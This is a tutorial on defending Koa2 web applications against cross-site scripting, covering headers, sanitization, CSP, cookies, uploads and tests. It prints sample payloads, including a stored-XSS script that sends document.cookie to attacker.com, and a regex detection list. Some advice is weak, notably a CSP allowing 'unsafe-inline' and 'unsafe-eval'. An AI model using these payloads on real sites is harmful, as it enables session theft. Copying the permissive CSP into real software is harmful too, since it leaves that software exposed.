Defense measures against XSS attacks

Basic Principles of XSS Attacks

XSS (Cross-Site Scripting) attacks are a common web security vulnerability where attackers inject malicious scripts into web pages. When other users visit the page, these scripts execute in their browsers. XSS attacks are primarily divided into three types: reflected XSS, stored XSS, and DOM-based XSS.

Reflected XSS typically appears in URL parameters, where attackers craft a URL containing malicious scripts to trick users into clicking. For example:

// Malicious URL example
http://example.com/search?query=<script>alert('XSS')</script>

Stored XSS involves storing malicious scripts in a server's database, which are triggered when other users visit pages containing the data. For instance, in a forum's comment feature:

// Malicious comment content
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

DOM-based XSS bypasses the server and occurs directly during frontend JavaScript DOM manipulation:

// Insecure DOM operation
document.getElementById('output').innerHTML = userInput;

Basic XSS Defense in Koa2

In the Koa2 framework, defending against XSS attacks requires a multi-layered approach. First, appropriate HTTP headers should be set:

app.use(async (ctx, next) => {
  ctx.set('X-XSS-Protection', '1; mode=block');
  ctx.set('Content-Security-Policy', "default-src 'self'");
  await next();
});

All user input must undergo strict validation and filtering. The xss library can be used for HTML filtering:

const xss = require('xss');

app.use(async (ctx, next) => {
  if (ctx.request.body) {
    ctx.request.body = Object.keys(ctx.request.body).reduce((acc, key) => {
      acc[key] = xss(ctx.request.body[key]);
      return acc;
    }, {});
  }
  await next();
});

Secure Configuration of Template Engines

When using template engines, the default escaping functionality is crucial. Using Nunjucks as an example:

const nunjucks = require('nunjucks');
const env = nunjucks.configure('views', {
  autoescape: true,  // Must enable auto-escaping
  express: app
});

// Even with auto-escaping enabled, manual escaping may still be needed in some cases
app.use(async (ctx) => {
  const userInput = "<script>alert(1)</script>";
  await ctx.render('template.html', {
    safeData: nunjucks.runtime.markSafe(userInput), // Use with caution
    unsafeData: userInput  // Will be auto-escaped
  });
});

In the template:

<!-- Auto-escaping takes effect -->
<p>{{ unsafeData }}</p>

<!-- Explicitly marked as safe HTML -->
<div>{{ safeData | safe }}</div>

Content Security Policy (CSP)

Content Security Policy (CSP) is an effective measure against XSS. Configure it in Koa2:

app.use(async (ctx, next) => {
  ctx.set('Content-Security-Policy', `
    default-src 'self';
    script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.example.com;
    style-src 'self' 'unsafe-inline';
    img-src 'self' data: https://*.example.com;
    connect-src 'self' https://api.example.com;
    font-src 'self';
    object-src 'none';
    frame-ancestors 'none';
    base-uri 'self';
    form-action 'self';
  `.replace(/\n/g, ''));
  await next();
});

For dynamically generated pages, use a nonce:

const crypto = require('crypto');

app.use(async (ctx, next) => {
  const nonce = crypto.randomBytes(16).toString('base64');
  ctx.state.nonce = nonce;
  ctx.set('Content-Security-Policy', `script-src 'nonce-${nonce}'`);
  await next();
});

// Use in the template
<script nonce="{{ nonce }}">
  // Inline script code
</script>

Secure Cookie Settings

Preventing cookie theft via XSS is critical:

app.use(async (ctx, next) => {
  ctx.cookies.set('session', token, {
    httpOnly: true,  // Prevent JavaScript access
    secure: true,    // Only transmit over HTTPS
    sameSite: 'strict', // Prevent CSRF
    maxAge: 86400000,
    domain: '.example.com',
    path: '/'
  });
  await next();
});

Special Handling for Rich Text Content

For rich text content that requires preserving HTML formatting, simple HTML escaping is insufficient:

const sanitizeHtml = require('sanitize-html');

app.use(async (ctx, next) => {
  if (ctx.request.body.content) {
    ctx.request.body.content = sanitizeHtml(ctx.request.body.content, {
      allowedTags: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
      allowedAttributes: {
        'a': ['href', 'title']
      },
      allowedSchemes: ['http', 'https'],
      transformTags: {
        'a': sanitizeHtml.simpleTransform('a', {
          target: '_blank',
          rel: 'noopener noreferrer'
        })
      }
    });
  }
  await next();
});

XSS Protection in Frontend Frameworks

When Koa2 serves as an API server alongside frontend frameworks:

// Vue's v-html directive requires caution
new Vue({
  el: '#app',
  data: {
    userContent: ''
  },
  methods: {
    sanitize(input) {
      return DOMPurify.sanitize(input);
    }
  }
});

// Using dangerouslySetInnerHTML in React
function Component({ userInput }) {
  const clean = DOMPurify.sanitize(userInput);
  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Secure Handling of File Uploads

File upload functionality can be an entry point for XSS attacks:

const path = require('path');
const fs = require('fs');

app.use(require('koa-body')({
  multipart: true,
  formidable: {
    uploadDir: './uploads',
    keepExtensions: true,
    onFileBegin: (name, file) => {
      // Validate file type
      const ext = path.extname(file.name).toLowerCase();
      if (!['.jpg', '.png', '.gif'].includes(ext)) {
        throw new Error('Invalid file type');
      }
      
      // Rename files to prevent script injection
      file.newFilename = `${crypto.randomBytes(16).toString('hex')}${ext}`;
      file.filepath = path.join('./uploads', file.newFilename);
    }
  }
}));

// Static file service with Content-Disposition
app.use(require('koa-static')('uploads', {
  setHeaders: (res, path) => {
    res.setHeader('Content-Disposition', 'attachment');
  }
}));

Logging and Monitoring

Comprehensive logging helps detect and trace XSS attacks:

const onerror = require('koa-onerror');
onerror(app, {
  all(err, ctx) {
    logger.error({
      time: new Date(),
      method: ctx.method,
      url: ctx.url,
      query: ctx.query,
      body: ctx.request.body,
      error: err.stack,
      ip: ctx.ip,
      userAgent: ctx.get('user-agent')
    });
  }
});

// Monitor suspicious requests
app.use(async (ctx, next) => {
  const xssPatterns = [/<script/i, /javascript:/i, /onerror=/i];
  const userInput = JSON.stringify({
    ...ctx.query,
    ...ctx.request.body
  });
  
  if (xssPatterns.some(pattern => pattern.test(userInput))) {
    ctx.status = 403;
    ctx.body = 'Request blocked';
    return;
  }
  
  await next();
});

Automated Testing and Security Audits

Regular security testing is essential:

// Example of XSS testing with Jest
describe('XSS Protection', () => {
  test('should escape HTML in responses', async () => {
    const response = await request(app)
      .post('/comment')
      .send({ text: '<script>alert(1)</script>' });
    
    expect(response.text).not.toContain('<script>');
    expect(response.text).toContain('&lt;script&gt;');
  });
});

// Use OWASP ZAP or Burp Suite for automated scanning

Security Awareness in Development Teams

Beyond technical measures, team standards are equally important:

1. All new members must complete security training.
2. Code reviews must include security reviews.
3. Use ESLint plugins to detect potential XSS vulnerabilities:

// .eslintrc.js
module.exports = {
  plugins: ['security'],
  rules: {
    'security/detect-possible-timing-attacks': 'error',
    'security/detect-eval-with-expression': 'error',
    'security/detect-non-literal-fs-filename': 'error',
    'security/detect-unsafe-regex': 'error',
    'security/detect-bidi-characters': 'error'
  }
};

Security Updates for Third-Party Libraries

Keeping dependencies updated is key to defending against known vulnerabilities:

// Use npm audit for regular checks
"scripts": {
  "audit": "npm audit --production",
  "audit:fix": "npm audit fix"
}

// Configure .gitlab-ci.yml or GitHub Actions for automated checks

Modern Browser Security Features

Leverage built-in browser security features:

// Set Referrer-Policy
app.use(async (ctx, next) => {
  ctx.set('Referrer-Policy', 'strict-origin-when-cross-origin');
  await next();
});

// Set Feature-Policy
app.use(async (ctx, next) => {
  ctx.set('Feature-Policy', "geolocation 'none'; microphone 'none'; camera 'none'");
  await next();
});

API Design Considerations

Secure API design can reduce XSS risks:

// Enforce Content-Type
app.use(async (ctx, next) => {
  if (['POST', 'PUT', 'PATCH'].includes(ctx.method)) {
    if (!ctx.is('application/json')) {
      ctx.throw(415, 'Only JSON content type is accepted');
    }
  }
  await next();
});

// Restrict response types
app.use(async (ctx, next) => {
  await next();
  if (typeof ctx.body === 'string') {
    ctx.type = 'text/plain';
  }
});